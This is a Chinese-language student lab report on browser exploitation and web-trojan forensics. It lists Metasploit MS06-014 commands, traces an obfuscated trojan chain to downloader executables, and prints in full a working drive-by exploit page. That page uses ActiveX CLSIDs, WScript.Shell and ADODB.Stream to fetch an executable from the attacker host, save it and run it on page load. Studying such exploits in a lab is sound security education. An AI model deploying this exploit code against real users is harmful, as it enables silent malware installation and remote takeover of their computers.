54
社区成员




任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
实验步骤:
①选择使用Metasploit中的MS06-014渗透攻击模块
②选择PAYLOAD为任意远程Shell连接
③设置服务器地址和URL参数,运行exploit,构造出恶意网页木马脚本
④在靶机环境中启动浏览器,验证与服务器的连通性,并访问恶意网页木马脚本URL
⑤在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令
实践过程:
①首先你应该访问start.html,在这个文件中给出了new09.htm的地址,
②在进入 htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到
http://192.168.68.253/scom/hashed/
哈希值下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对应的文件。
③如果解密出的地址给出的是网页或脚本文件,请继续解密。
④如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。
⑤重复以上过程直到这些文件被全部分析完成。
攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。
防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。
任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
实验步骤:
首先需要通过命令查看靶机和攻击机的IP地址并测试其连通性。
攻击机的IP地址:
靶机的IP地址
连通性测试:
在Kali上输入msfconsole 打开Metasploit
输入命令search MS06-014搜索MS06-014漏洞。然后输入命令use exploit/windows/browser/ie_createobject
show options查看其他设置
set payload windows/shell/bind_tcp加载使用的payload输入exploit然后生成URL
然后靶机浏览器访问该URL
攻击机得到一个会话,输入session -i 1选择会话1,返回shell
实验步骤:
首先把start.html通过记事本打开,搜索new09.htm,能够找到两处:
可以看出start.html文件在引用new09.htm文件时没有写绝对路径,所以new09.htm文件与start.html文件在同一目录下,查看new09.htm。用iframe引用了一个 http://aa.18dd.net/aa/kl.htm 文件,又用javascript引用了一个http://js.users.51.la/1299644.js文件。
对它们分别作MD5散列:
接着去hashed文件夹下找到这两个文件,7f60672dcd6b5e90b6772545ee219bd3和
23180a42a2ff1192150231b44ffdf3d3,分别用记事本打开:
这个打开没有什么信息
文件中的内容则使用了XXTEA+Base64的加密方法,其中可以看到加密密钥就藏在倒数第三行中
使用十六进制转字符串得到密钥script
使用XXTEA+Base64解密
对引号内的十六进制数进行转字符串
这个文件利用到的应用程序漏洞有“Adodb.Stream”、“MPS.StormPlayer”、POWERPLAYER.PowerPlayerCtrl.1”和“BaiduBar.Tool”,分别对应利用了微软数据库访问对象、暴风影音、PPStream 和百度搜霸的漏洞。
这个文件还引用三个 js 文件和一个压缩包(bd.cab,解开后是 bd.exe)。之后,,分别计算“http://aa.18dd.net/aa/1.js”、“http://aa.18dd.net/aa/b.js”、“http://aa.18dd.net/aa/pps.js”和“http://down.18dd.net/bb/bd.cab” 的md5值
然后我们依次打开相应的文件一一查看
1、http://aa.18dd.net/aa/1.js (5d7e9058a857aa2abee820d5473c5fa4)
全部是十六进制的,将其转换成assic码形式。发现前面部分下载了一个 http://down.18dd.net/bb/014.exe 的可执行文件,后面部分是对ADODB漏洞的继续利用。
2、http://aa.18dd.net/aa/b.js (3870c28cc279d457746b3796a262f166 )
这里使用了packed加密方法,解密结果为:
关键字shellcode,shellcode是一个下载器,因此需要寻找其中的URL,最后找到的结果为 http://down.18dd.net/bb/bf.exe 得到一个可执行文件。
3、http://aa.18dd.net/aa/pps.js (5f0b8bf0385314dbe0e5ec95e6abedc2 )
通过进制转换
4、http://down.18dd.net/bb/bd.cab (1c1d7b3539a617517c49eee4120783b2 )
这是一个压缩文件
解压缩可以得到bd.exe文件
这时我们有了四个exe文件,对三个可执行文件的链接分别求MD5值
http://down.18dd.net/bb/014.exe(ca4e4a1730b0f69a9b94393d9443b979)
http://down.18dd.net/bb/bf.exe(268cbd59fbed235f6cf6b41b92b03f8e)
http://down.18dd.net/bb/pps.exe(ff59b3b8961f502289c1b4df8c37e2a4)
而bd.exe文件和其他三个文件的大小相同,推测四个文件的内容一摸一样。所以我们只需要看其中一个即可,在IDA反汇编中打开四个文件中的一个。使用超级巡警工具,查看可执行文件的加壳情况,发现用Delphi写的
然后使用ida对其进行反编译
这应该是下载大量木马
发现其从各个URL上下载木马,生成一个叫"Alletdel.bat"的批处理文件,这个文件中有一个标签叫"try",批处理文件会不断的执行这个标签下一行的命令,命令内容可能是判断文件存在性,更改系统日期,删除某些文件。
按照实验一的步骤使用MS06-014漏洞生成URL
攻击方:192.168.200.3
防守方:192.168.200.5
攻击方:
输入相应命令并开始攻击
在对方点击链接后,可以看到攻击成功
防守方:
查看源代码
中间使用了大量的空格等,这样能够对关键指令做字符串拼接处理,防止被杀毒软件发现。我们可以将其删掉。
<html>
<head>
<title></title>
<script language="javascript">
function nbWbPQdhuXRhtoInbBtqcGpVssbTszJ(o, n) {
var r = null;
try {
eval("r=o.CreateObject(n)")
} catch(e) {}
if (!r) {
try {
eval("r=o.CreateObject(n,'')")
} catch(e) {}
}
if (!r) {
try {
eval("r=o.CreateObject(n,'','')")
} catch(e) {}
}
if (!r) {
try {
eval("r=o.GetObject('',n)")
} catch(e) {}
}
if (!r) {
try {
eval("r=o.GetObject(n,'')")
} catch(e) {}
}
if (!r) {
try {
eval("r=o.GetObject(n)")
} catch(e) {}
}
return (r)
}
function AnTyVMcfJIDFvEYEhYSxM(a) {
var s = nbWbPQdhuXRhtoInbBtqcGpVssbTszJ(a, "WScript.Shell");
var o = nbWbPQdhuXRhtoInbBtqcGpVssbTszJ(a, "ADODB.Stream");
var e = s.Environment("Process");
var url = document.location + '/payload';
var xml = null;
var bin = e.Item("TEMP") + "\\uOgshSAQXVYW.exe";
var dat;
try {
xml = new XMLHttpRequest()
} catch(e) {
try {
xml = new ActiveXObject("Microsoft.XMLHTTP")
} catch(e) {
xml = new ActiveXObject("MSXML2.ServerXMLHTTP")
}
}
if (!xml) {
return (0)
}
xml.open("GET", url, false);
xml.send(null);
dat = xml.responseBody;
o.Type = 1;
o.Mode = 3;
o.Open();
o.Write(dat);
o.SaveToFile(bin, 2);
s.Run(bin, 0)
}
function aLTTaZjjspGksPZQwEqlvQ() {
var i = 0;
var t = new Array('{BD96C556-65A3-11D0-983A-00C04FC29E36}', '{BD96C556-65A3-11D0-983A-00C04FC29E30}', '{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}', '{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}', '{6414512B-B978-451D-A0D8-FCFDF33E833C}', '{06723E09-F4C2-43c8-8358-09FCD1DB0766}', '{639F725F-1B2D-4831-A9FD-874847682010}', '{BA018599-1DB3-44f9-83B4-461454C84BF8}', '{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}', '{E8CCCDDF-CA28-496b-B050-6C07C962476B}', '{AB9BCEDD-EC7E-47E1-9322-D4A210617116}', '{0006F033-0000-0000-C000-000000000046}', '{0006F03A-0000-0000-C000-000000000046}', null);
while (t[i]) {
var a = null;
if (t[i].substring(0, 1) == '{') {
a = document.createElement("object");
a.setAttribute("classid", "clsid:" + t[i].substring(1, t[i].length - 1))
} else {
try {
a = new ActiveXObject(t[i])
} catch(e) {}
}
if (a) {
try {
var b = nbWbPQdhuXRhtoInbBtqcGpVssbTszJ(a, "WScript.Shell");
if (b) {
AnTyVMcfJIDFvEYEhYSxM(a);
return (0)
}
} catch(e) {}
}
i++
}
}
</script>
</head>
<body onload='aLTTaZjjspGksPZQwEqlvQ()'>
ku
</body>
</html>
发现document.location加载了payload,后续还有一个可执行文件uOgshSAQXVYW.exe,这个可执行文件应该是以攻击机为服务器,然后通过网页下载到靶机上的。
问题1:第一个实验一开始没有Ping通
问题1解决方案:都改成NAT模式
问题2:第二个实验时解密的时候一直乱码
问题2解决方案:换成视频中的解密网站【工具】XXTEA在线加密解密工具 – 怸歪小站 (cycy.fun)
本次实践动手实现了web浏览器渗透攻击,网页木马的分析取证。我认为第二个实验还是有一定难度的,过程比较繁琐。